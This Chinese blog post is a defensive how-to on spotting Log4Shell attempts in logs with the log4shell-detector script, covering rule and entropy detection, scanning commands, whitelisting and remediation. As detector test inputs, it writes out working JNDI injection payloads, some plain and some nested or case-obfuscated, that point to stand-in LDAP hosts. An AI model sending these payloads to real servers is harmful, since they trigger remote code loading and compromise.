2021年底Log4j爆出远程代码执行漏洞的时候,整个安全圈都跟过年一样紧张。Log4Shell这个名字估计没人陌生——一个几乎所有人都依赖的日志组件,结果攻击者往日志消息里塞一段特殊字符串,就能让业务系统去远程加载恶意代码。那阵子我排查业务日志、翻流量包、看WAF告警,排查手段换了好几轮,最后发现一个轻量工具特别顺手,就是log4shell-detector。它是一个专门用来探测Log4Shell漏洞利用特征的Python检测脚本,能扫单个字符串、能扫日志文件,还能接在管道里做实时过滤。如果你还在靠grep硬翻日志,或者担心规则库漏掉变种,这篇文章值得看完,我会把工具原理、实操步骤和踩过的坑一起整理出来。
1. 先搞懂Log4Shell的“狡猾”之处:漏洞特征与检测难点
1.1 JNDI注入是怎么在日志里发生的
Log4Shell的根因,是Log4j 2组件在输出日志时,会把消息内容里的特殊表达式当成“查找指令”去执行。比如你记录了这么一条日志:
用户输入了:${jndi:ldap://恶意地址/exp}正常人的理解是,这只是一串普通文本,存起来就完事了。但Log4j 2不这么想,它看到${...}包裹的内容,会尝试去解析这个表达式,解析到jndi:ldap://...就去发起一次LDAP查询。如果目标地址由攻击者控制,返回内容里可能包含远程加载的Java类,最终演变成远程代码执行。
这个机制本身是Log4j 2提供的一个功能,叫Lookup查找,本意是让日志配置更灵活,比如从环境变量、系统属性里动态取值。问题就出在它把不可信的用户输入也当作可解析内容来处理了。打个比方,这就像你让快递员把包裹送到“当前位置”,结果包裹上被人写了个“转送到某个危险地点”,快递员还真的照做了。
攻击者利用这个特性,不需要什么复杂的入口,只要应用有任何地方把用户输入写进日志——搜索关键词、请求头、用户名、参数值——都有机会触发。所以这个漏洞当时影响面极大,因为“打日志”这件事在Java后端系统里实在太太太常见了。
1.2 为什么靠简单关键字匹配会漏报
很多团队第一反应是写规则,看到日志里有jndi:ldap就告警。但攻击者很快发现,Log4j 2的表达式解析是支持递归和嵌套的,而且不区分大小写,还能用各种Lookup函数组合出“外星文本”。
举个例子,一条攻击载荷可以长这样:
${${lower:j}ndi:${lower:l}dap://恶意地址/exp}外层表达式先被解析,内部的${lower:j}会先运算成字母j,组合起来又变成jndi。如果你只匹配字面量"jndi",这一条就直接绕过去了。还有用${env:...}拼接、用${::-前缀}构造字符串、中间夹编码内容的变体,规则写起来没完没了。
这说明一个关键问题:Log4Shell的检测不能只看最终形态,更要看“能否被递归解析成可执行的JNDI查找”。规则引擎如果只做静态字符串匹配,面对这种多层嵌套、运行时才展开的载荷,覆盖能力非常有限。更别说很多攻击载荷到了日志里已经被截断、被转义、被编码过,肉眼看起来就像一堆乱码,单纯靠grep很难定位。
1.3 检测工具的解题思路:从特征匹配到熵值判断
log4shell-detector这个工具的思路,不是只做一层匹配,而是从两个方向同时判断。
第一方向,基于已知的攻击模式做特征检测。它内置了一批Log4Shell相关的关键词规则、表达式组合规则,凡是出现${和可能的Lookup关键字组合,都会触发告警。这一层偏向于“快速命中”,覆盖攻击者最常用的载荷形态。
第二方向更有意思,它引入了熵值分析。熵这个概念可以简单理解为“混乱程度”。正常日志内容里的字符串,比如URL、用户名、错误消息,整体是有规律的;而攻击者为了绕过过滤,往往会对载荷做大量嵌套、填充、编码、大小写混排,这类字符串的字符分布会异常杂乱。工具会专门检查${...}结构内部的内容,如果可疑度超过阈值,就算没有命中已知特征,也会标记出来。
这套组合拳的好处很明显:特征库负责对付已知攻击,熵检测负责对付没见过的新变种和混淆手法。对于当时那种“每天都有新绕过姿势”的漏洞应急场景,这种设计比单靠静态规则要实用得多。
2. log4shell-detector的核心机制:不只是扫字符串
2.1 特征库检测:用已知攻击模式做快速命中
工具把Log4Shell相关的检测逻辑拆成了多条特征规则。比如有没有出现jndi、有没有ldap/rmi/dns等协议关键字、有没有${lower:这类递归函数结构、有没有::-这类默认值注入语法。
它不仅仅是简单地做子串包含判断,还会结合上下文看这些关键字是不是出现在${...}内部。这一点很重要,因为日志里完全可能出现正常的jndi字样,比如某条业务日志记录了“用户查询了jndi配置”,如果见jndi就报,误报率会高到没法用。工具把检测范围收缩在“表达式结构内出现可疑组合”,误报率会低不少。
从实际效果看,特征库检测适合在网络入口、WAF日志、接入层日志里做快速过滤。攻击者在试探阶段通常会直接丢标准载荷,这层规则基本能拦住大部分“无脑扫描”。我在演练中测试过,直接用最原始的${jndi:ldap://...}去触发,工具会立刻标记出来,响应速度很快。
2.2 熵检测:识别没见过的新变种
熵检测是这工具比较有辨识度的地方。它不关心你是不是已知的攻击载荷,而是去衡量${...}内部字符串的“信息熵”。
我可以举个直观的例子。一条正常日志长这样:
用户admin登录成功,ip=192.168.1.10,耗时230ms取里面某个片段,字符种类相对有限,大小写混排少,特殊符号出现频率低,整体有序,熵值不高。再看一条攻击载荷:
${${lower:j}ndi:${lower:l}${lower:d}ap://${env:TEST}xxx}里面有大量嵌套表达式、连续的特殊字符、大小写交错、冒号斜杠堆叠,字符种类一下子丰富起来,熵值就会明显偏高。工具设定一个置信度阈值,超过就判定为可疑。
熵检测还有个好处,它对攻击者“未知变种”也有一定发现能力。就算攻击者发明一种全新的编码组合方式,只要最终目的是凑出一个可执行的JNDI查找,结构上一定会出现高混乱度的表达式。这不保证100%抓全,但在漏洞爆发期、攻击方式快速迭代的时候,它给了防守方一种“不看脸也能认人”的能力。
2.3 工具的边界:它替代不了漏洞修复和流量侧检测
用这个工具之前,得先把它的定位搞清楚:它是个日志侧检测器,不是万能防护盾。
它擅长的是在大堆日志文本里找出疑似攻击的字符串,方便你快速定位问题。但它有几个天然边界。第一,它是被动检测,只有攻击载荷进了日志它才能看到,如果载荷在更早的网络层就被拦截了,它不会感知到;第二,它检测的是“文本特征”,如果攻击者把载荷加密后再传给应用,应用解密后才写日志,工具能检测到的前提是解密后的内容进入了日志;第三,工具本身不修复漏洞,就算一条告警都没报,也不代表系统绝对安全,该升级的组件升级,该做的配置缓解还是要做。
所以我的建议是,把它当成漏洞应急和日常监测链路里的一环,和边界防护、主机加固、依赖升级配合起来用,而不是单独依赖它。
3. 部署与基础使用:十几分钟上手
3.1 环境准备与安装
这个工具是用Python写的,依赖并不复杂。本地有Python 3环境就能跑。我建议把它放在一个独立的工具目录里,比如/opt/security-tools/log4shell-detector,方便统一管理。
安装步骤很常规,两条命令的事:
cd /opt/security-tools git clone https://github.com/log4shell-detector/log4shell-detector.git cd log4shell-detector pip3 install -r requirements.txt如果业务环境是内网隔离的,没法直接拉代码和装依赖,可以提前在有网环境把仓库和依赖包导出,再拷入内网。依赖这块主要就是一些标准库和少量第三方库,整体很轻量,不用装一堆重型框架。
装完之后先验证一下帮助信息:
python3 log4shell-detector.py --help看到参数说明输出,就说明环境没问题了。我见过有的同事卡在这一步,原因是系统里同时存在Python 2和Python 3,要用python3而不是python执行。
3.2 检查单条字符串是否可疑
工具最直接的用法,是拿一条字符串喂给它判断。这在排查具体告警、验证某个输入是否触发漏洞时特别方便。
python3 log4shell-detector.py -s '${jndi:ldap://192.168.1.1:1389/exp}'输出会明确告诉你这条字符串是否被判定为可疑。我通常会拿几条不同形态的载荷试一遍:原始载荷、嵌套载荷、编码载荷,看工具的命中情况,这样能快速建立对工具检测能力的直观印象。
字符串模式适合小规模验证。比如你在WAF告警里看到一条畸形请求,想确认它是不是针对Log4Shell的探测,直接把请求参数复制出来跑一下,比翻半天日志高效得多。
3.3 扫描日志文件与读取标准输入
真正排查的时候,面对的往往是一整个日志文件,而不是单条字符串。这时用-l参数指定日志文件路径:
python3 log4shell-detector.py -l /var/log/app/backend.log工具会逐行读取日志,标记出包含可疑载荷的行。日志文件可能很大,上GB也不少见,工具支持按行处理,不会一次性把文件全部读进内存,这一点值得好评。
另外还支持标准输入模式,用-p参数:
cat /var/log/app/access.log | python3 log4shell-detector.py -p这个模式最大的价值是可以接管道。比如实时跟踪一个正在写入的日志文件,把可疑行过滤出来,相当于给日志流装了一个“病毒扫描器”。我后面会专门演示这种用法。
4. 实战记录:从单条检测到批量日志排查
4.1 模拟一条攻击载荷的检测过程
我拿一个模拟场景演示。假设有一条访问日志,内容是正常请求和攻击载荷混在一起:
192.168.10.20 - - [10/Dec/2021:13:33:45 +0800] "GET /search?q=${jndi:ldap://10.0.0.8:1389/Exploit} HTTP/1.1" 200 234这条日志单独拎出来看,q参数里的字符串就是典型的Log4Shell载荷。把它放进工具检测:
python3 log4shell-detector.py -s '${jndi:ldap://10.0.0.8:1389/Exploit}'结果会标记为可疑,并且会指出疑似点。用这种载荷去测试,特征库直接命中,不需要靠熵判断就已经很明确了。
再换一条嵌套混淆版本:
${${lower:j}ndi:${lower:l}${lower:d}ap://10.0.0.8:1389/Exploit}这种载荷如果只用grep jndi大概率会漏,因为字符串里根本没有完整的jndi。工具跑出来还是会标记,靠的就是对${...}内部结构的解析和熵值判断。这也是我推荐这个工具的原因之一,它看的是“结构”,而不是“完整关键字”。
4.2 批量扫描历史日志并解析结果
实际排查的时候,你可能需要同时扫多个日志文件。比如前端Nginx访问日志、后端Java应用日志、安全设备日志各一份,挨个跑太费时间,写个简单的shell循环就能批量处理:
for logfile in /var/log/nginx/access.log /var/log/java-app/app.log /var/log/security/waf.log; do echo "===== 正在扫描: $logfile =====" python3 log4shell-detector.py -l "$logfile" done扫描结果里,命中的行会带可疑标识,并且会有类型描述。拿到结果后,我通常会把命中的原始行单独导出,再关联请求来源IP、时间戳、User-Agent、Referrer这些信息,判断是外部扫描行为还是内部异常调用。
这里有个实操心得:扫描历史日志时,最好按时间窗口分段处理。比如以小时为单位分片扫描,这样一旦发现攻击行为,可以快速锁定影响时间范围,方便后续做入侵回溯。
4.3 接入实时日志流的管道式用法
日志文件是实时增长的,反复手动扫描肯定不行。把工具接在管道里,就能做到“日志一写入、立刻见分晓”。
tail -F /var/log/java-app/app.log | python3 log4shell-detector.py -ptail -F会持续跟踪文件新写入的内容,工具从标准输入读取每一行做检测。如果某一行触发了规则,就会在标准输出打出来。这样等于给日志管道加了一个实时过滤器。
更进一步,可以把命中的行继续接给告警工具。比如用while read循环把可疑行写入单独的文件,或者直接触发一个HTTP回调通知值班人员。这个思路我后面会专门展开。
实时扫描要注意一个点:日志写入频繁的应用,管道压力会比较大。建议配合grep做前置粗筛,比如只需要关注包含${的行再往工具里送:
tail -F /var/log/java-app/app.log | grep -E '\$\{' | python3 log4shell-detector.py -p这样能大幅减少进入检测模块的数据量,降低CPU消耗。
5. 结果解读与误报排查:这些坑我替你踩过了
5.1 输出字段逐个拆解
工具对命中内容的输出,一般会包含几类信息:检测方式、命中的原始内容、疑似特征描述。比如输出里可能有detected by blacklist rules、detected by entropy detection之类的标记,看到这些就知道它是靠哪条逻辑命中的。
我习惯这样解读结果:
- 如果是特征库命中,基本可以认定是已知的Log4Shell攻击载荷或非常接近的变种,优先级最高;
- 如果是熵检测命中,需要人工再确认一下,看被标记的
${...}内部内容是否真的像恶意载荷; - 如果同时有两种方式命中,那基本不用犹豫,直接进入应急流程。
拿到可疑行后,我还会用grep -o把该行里的${...}结构单独切出来,检查里面涉及的协议类型、连接地址、函数组合。攻击者的地址信息最有用,可以拿去提取IOC做封禁。
5.2 误报的重灾区与处理思路
没有谁会喜欢一个天天误报的工具。用这个工具一段时间后,我发现误报主要来自几个地方。
第一个误报源是业务日志里正常出现的环境变量引用。很多Java应用会配置类似${JAVA_HOME}、${APP_ENV}、${spring.profiles.active}这样的参数,它们是Log4j 2正常的功能使用,不是攻击。如果生产环境大量输出这类日志,工具有时会给你标出来。
第二个误报源是消息队列、配置中心传输的内容。业务里如果有配置模板、消息模板,里面可能包含大量${...}占位符,例如${orderId}、${userId},这些也会被熵检测纳入判断。
面对误报,我的做法是先建白名单。把确认安全的占位符模式加入过滤前置条件,在管道里用grep -v过滤掉。比如:
tail -F app.log | grep -E '\$\{' | grep -vE '\$\{(JAVA_HOME|APP_ENV|orderId|userId)\}' | python3 log4shell-detector.py -p白名单模式每次新增误报就补一条,跑一两周之后,误报率会明显降下来。要注意别把白名单写得太宽,否则${jndi:这类真正危险的载荷可能也被漏掉,白名单里千万别加jndi这类关键字。
5.3 实战中的性能与兼容性注意事项
工具虽然轻量,但真跑在每天几个GB的日志上,还是有一些性能上的讲究。
我遇到过的第一个坑,是有一次直接扫一个超大日志文件,忘记做任何切割,结果跑了很久还没结束。后来我改成先按时间切片,再用并发方式扫,速度提升明显。用xargs -P可以并行起多个进程:
find /var/log/java-app -name "*.log" -mtime -1 | xargs -P 4 -I {} python3 log4shell-detector.py -l {}第二个坑是编码问题。日志文件可能是GBK编码,也可能是UTF-8,个别日志里还混着二进制乱码。Python脚本处理非UTF-8内容时可能会报编码错误。解决办法是提前转换编码,或者让工具读取时忽略错误:
iconv -f GBK -t UTF-8 app.log | python3 log4shell-detector.py -p第三个坑是日志行截断。应用日志框架有时会对超长消息做截断,攻击载荷如果很长,可能会被截到中途,特征变得不完整。工具遇到这种情况可能漏报。我排查时会额外关注日志里以${开头但没看到闭合括号的片段,这种半截内容往往是更危险的信号。
另外,有个容易被忽略的点:工具默认可能只打印告警行,但某些版本支持输出详细调试信息。真正出问题的时候,打开调试模式跑一下,能看出来它内部是怎么判定可疑的,对排除误报很有帮助。
6. 放到真实业务环境前,还要想清楚这几件事
6.1 检测节点应该放在日志管道的哪个位置
工具的灵活之处在于它能嵌在不同位置。你既可以在日志采集端直接嵌入,也可以在日志平台查询时临时用一下。
我推荐的部署位置,是在日志采集代理之后、日志存储之前。也就是日志从应用节点出来后,先经过一个统一的检测节点,命中内容单独落到告警通道,正常日志继续走原有链路。这样做的好处是:检测逻辑集中管理,规则更新只改一处;风险日志不会淹没在大量正常日志里;即使后续开发了新的绕过手法,也能在同一入口统一加检测规则。
如果业务环境不允许改造采集链路,退而求其次的做法是定期扫描已落盘的日志。虽然实时性差一些,但对事后溯源还是有帮助的。比如每小时跑一次定时任务,扫描过去一小时的日志增量,命中内容打包留存。
6.2 命中之后怎么办:从告警到闭环
检测工具只是“眼睛”,真正决定效果的是命中之后的响应动作。我见过不少团队把工具接上就完事,结果告警发出来了没人处理,和没检测没区别。
我的建议是,命中一条告警后的标准动作至少包括:确认命中上下文、提取攻击载荷和来源地址、判断攻击是否成功、查看受影响系统版本、处置恶意地址、评估影响范围。前面几步可以靠工具辅助人工完成,后面几步就需要和资产系统、漏洞管理平台联动。
建议把检测结果单独输出成一个结构化文件,比如JSON格式,方便后续对接告警平台。具体的对接方式要看你们用的告警通道,不一定要很复杂,一条HTTP回调、一封邮件、一个钉钉群消息,都能起到提醒作用。关键是“有人看、有人动”。
6.3 和漏洞修复同步推进:检测只是止损手段
实战中一定要明确,检测器发现的每一条攻击载荷,都只能说明“有人尝试攻击”,不能说明“漏洞已被修复”。真正消除漏洞,还是得回到组件升级、配置缓解这条路上。
Log4j 2的修复手段,影响面从大到小排序大概是:升级到安全版本、移除或禁用JndiLookup、关闭对不可信来源的Lookup解析、在网络层封堵出站LDAP/RMI连接。每一层都有它的适用场景,也有配套的副作用,需要结合业务实际选。
log4shell-detector在这个链条里,承担的是“看清攻击是否正在发生”的角色。它帮你掌握攻击面的实时情况,缩短从攻击发生到被发现的时间,但它不会帮你把漏洞修掉。我发现一个比较实用的组合是:先上检测工具做即时监测,再排期做组件升级,升级完成后保留检测器持续观测一段时间,确认没有新的攻击尝试再考虑下线。
检测工具的使命,是让那些藏在你日志里几个月甚至几年的恶意触碰浮出水面。我自己的体会是,在Log4Shell高发期,它帮我把大量“看着像攻击、又不敢确定”的日志快速分拣出来,省去了手工一条条翻的苦力活。它不一定是最强大的扫描器,但足够轻巧、足够灵活,放在日志排查工具箱里永远不会嫌多。
最后再分享一个小技巧:不要只在出事了才想起来扫日志。把检测逻辑固化到日常日志流程里,让它静静跑着,有一天它突然报警的时候,你会庆幸当初多花了这半小时做接入。